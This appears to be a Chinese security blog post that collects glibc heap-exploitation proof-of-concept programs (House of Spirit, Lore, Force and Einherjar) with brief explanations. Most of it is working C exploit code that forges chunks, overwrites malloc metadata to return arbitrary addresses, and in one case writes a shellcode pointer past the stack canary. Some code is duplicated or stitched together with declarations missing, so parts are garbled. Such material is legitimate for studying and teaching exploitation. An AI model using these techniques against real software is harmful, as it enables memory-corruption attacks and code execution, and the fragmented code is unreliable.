intmain() { fprintf(stderr, "This file demonstrates the house of spirit attack.\n");
fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n"); malloc(1);
fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n"); unsignedlonglong *a; // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY) unsignedlonglong fake_chunks[10] __attribute__ ((aligned (16)));
fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks [9]);
fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64) . The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); fake_chunks[1] = 0x40; // this is the size
fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"); // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8 fake_chunks[9] = 0x1234; // nextsize
fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"); a = &fake_chunks[2];
fprintf(stderr, "Freeing the overwritten pointer.\n"); free(a);
fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30)); }
fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
综上所述,house of spirit的利用实际上就是绕过这两个size的检查,进而达到分配一个任意地址的chunk的目的。
fprintf(stderr, "\nWelcome to the House of Lore\n"); fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n"); fprintf(stderr, "This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23\n\n"); fprintf(stderr, "This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n");
fprintf(stderr, "Allocating the victim chunk\n"); intptr_t *victim = malloc(100); fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);
// victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk intptr_t *victim_chunk = victim-2;
fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1); fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);
fprintf(stderr, "Create a fake chunk on the stack\n"); fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted" "in second to the last malloc, which putting stack address on smallbin list\n"); stack_buffer_1[0] = 0; stack_buffer_1[1] = 0; stack_buffer_1[2] = victim_chunk;
fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 " "in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake " "chunk on stack"); stack_buffer_1[3] = (intptr_t*)stack_buffer_2; stack_buffer_2[2] = (intptr_t*)stack_buffer_1; fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with" "the small one during the free()\n"); void *p5 = malloc(1000); fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);
fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim); free((void*)victim);
fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are nil\n"); fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]); fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n"); fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);
void *p2 = malloc(1200); fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);
fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n"); fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]); fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
//------------VULNERABILITY-----------
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack
//------------------------------------
fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n"); fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");
void *p3 = malloc(100);
fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n"); char *p4 = malloc(100); fprintf(stderr, "p4 = malloc(100)\n");
fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n", stack_buffer_2[2]);
fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary }
/* This PoC works also with ASLR enabled. It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled. If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum ( http://phrack.org/issues/66/10.html ) Tested in Ubuntu 14.04, 64bit. */
char bss_var[] = "This is a string that we want to overwrite.";
intmain(int argc , char* argv[]) { fprintf(stderr, "\nWelcome to the House of Force\n\n"); fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n"); fprintf(stderr, "The top chunk is a special chunk. Is the last in memory " "and is the chunk that will be resized when malloc asks for more space from the os.\n"); fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var); fprintf(stderr, "Its current value is: %s\n", bss_var); fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n"); intptr_t *p1 = malloc(256); fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2); fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n"); int real_size = malloc_usable_size(p1); fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2); fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n"); //----- VULNERABILITY ---- intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long)); fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top); fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n"); fprintf(stderr, "Old size of top chunk %#llx\n", *((unsignedlonglongint *)((char *)ptr_top + sizeof(long)))); *(intptr_t *)((char *)ptr_top + sizeof(long)) = -1; fprintf(stderr, "New size of top chunk %#llx\n", *((unsignedlonglongint *)((char *)ptr_top + sizeof(long)))); //------------------------ fprintf(stderr, "\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n" "Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n" "overflow) and will then be able to allocate a chunk right over the desired region.\n"); /* * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata): * new_top = old_top + nb * nb = new_top - old_top * req + 2sizeof(long) = new_top - old_top * req = new_top - old_top - 2sizeof(long) * req = dest - 2sizeof(long) - old_top - 2sizeof(long) * req = dest - old_top - 4*sizeof(long) */ unsignedlong evil_size = (unsignedlong)bss_var - sizeof(long)*4 - (unsignedlong)ptr_top; fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n" "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size); void *new_ptr = malloc(evil_size); fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2); void* ctr_chunk = malloc(100); fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n"); fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk); fprintf(stderr, "Now, we can finally overwrite that value:\n"); fprintf(stderr, "... old string: %s\n", bss_var); fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n"); strcpy(ctr_chunk, "YEAH!!!"); fprintf(stderr, "... new string: %s\n", bss_var); // some further discussion: //fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n"); //fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size " // "and we \nwant to set this result to the address of malloc_got_address-8\n\n"); //fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n"); //fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n"); //fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header )," // "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n"); //fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2); //fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address); //fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n"); }
The evil_size is calulcated as (nb is the number of bytes requested + space for metadata): 1. new_top = old_top + nb 2. nb = new_top - old_top 3. req + 2sizeof(long) = new_top - old_top 4. req = new_top - old_top - 2sizeof(long) 5. req = dest - 2sizeof(long) - old_top - 2sizeof(long) 6. req = dest - old_top - 4*sizeof(long)
这个方式是通过null by one修改某个chunk(p)的p->prev_inuse位,使前一个chunk被识别为空闲,接着修改p->prev_size。这样释放之后就会向前合并,下一次再malloc时,就会分配到p-sizeof(size_t)*2 - fake_size处。所以,我们可以通过fake_size来完成任意地址的分配,示意图如下:
/* Credit to st4g3r for publishing this technique The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc() This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak. */
intmain() { fprintf(stderr, "Welcome to House of Einherjar!\n"); fprintf(stderr, "Tested in Ubuntu 16.04 64bit.\n"); fprintf(stderr, "This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");
uint8_t* a; uint8_t* b; uint8_t* d;
fprintf(stderr, "\nWe allocate 0x38 bytes for 'a'\n"); a = (uint8_t*) malloc(0x38); fprintf(stderr, "a: %p\n", a);
int real_a_size = malloc_usable_size(a); fprintf(stderr, "Since we want to overflow 'a', we need the 'real' size of 'a' afterrounding: %#x\n", real_a_size);
// create a fake chunk fprintf(stderr, "\nWe create a fake chunk wherever we want, in this case we'll create thechunk on the stack\n"); fprintf(stderr, "However, you can also create the chunk in the heap or the bss, as longas you know its address\n"); fprintf(stderr, "We set our fwd and bck pointers to point at the fake_chunk in order topass the unlink checks\n"); fprintf(stderr, "(although we could do the unsafe unlink technique here in some scenarios)\n");
size_t fake_chunk[6];
fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin fake_chunk[2] = (size_t) fake_chunk; // fwd fake_chunk[3] = (size_t) fake_chunk; // bck fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize
/* In this case it is easier if the chunk size attribute has a least significant byte with * a value of 0x00. The least significant byte of this will be 0x00, because the size of * the chunk includes the amount requested plus some amount required for the metadata. */ b = (uint8_t*) malloc(0xf8); int real_b_size = malloc_usable_size(b);
uint64_t* b_size_ptr = (uint64_t*)(b - 8); /* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/
fprintf(stderr, "\nb.size: %#lx\n", *b_size_ptr); fprintf(stderr, "b.size is: (0x100) | prev_inuse = 0x101\n"); fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n"); a[real_a_size] = 0; fprintf(stderr, "b.size: %#lx\n", *b_size_ptr); fprintf(stderr, "This is easiest if b.size is a multiple of 0x100 so you " "don't change the size of b, only its prev_inuse bit\n"); fprintf(stderr, "If it had been modified, we would need a fake chunk inside " "b where it will try to consolidate the next chunk\n");
// Write a fake prev_size to the end of a fprintf(stderr, "\nWe write a fake prev_size to the last %lu bytes of a so that " "it will consolidate with our fake chunk\n", sizeof(size_t)); size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk); fprintf(stderr, "Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size); *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
//Change the fake chunk's size to reflect b's new prev_size fprintf(stderr, "\nModify fake chunk's size to reflect b's new prev_size\n"); fake_chunk[1] = fake_size;
// free b and it will consolidate with our fake chunk fprintf(stderr, "Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n"); free(b); fprintf(stderr, "Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
//if we allocate another chunk before we free b we will need to //do two things: //1) We will need to adjust the size of our fake chunk so that //fake_chunk + fake_chunk's size points to an area we control //2) we will need to write the size of our fake chunk //at the location we control. //After doing these two things, when unlink gets called, our fake chunk will //pass the size(P) == prev_size(next_chunk(P)) test. //otherwise we need to make sure that our fake chunk is up against the //wilderness
fprintf(stderr, "\nNow we can call malloc() and it will begin in our fake chunk\n"); d = malloc(0x200); fprintf(stderr, "Next malloc(0x200) is at %p\n", d); }
You are welcome to share this blog, so that more people can participate in it. If the images used in the blog infringe your copyright, please contact the author to delete them.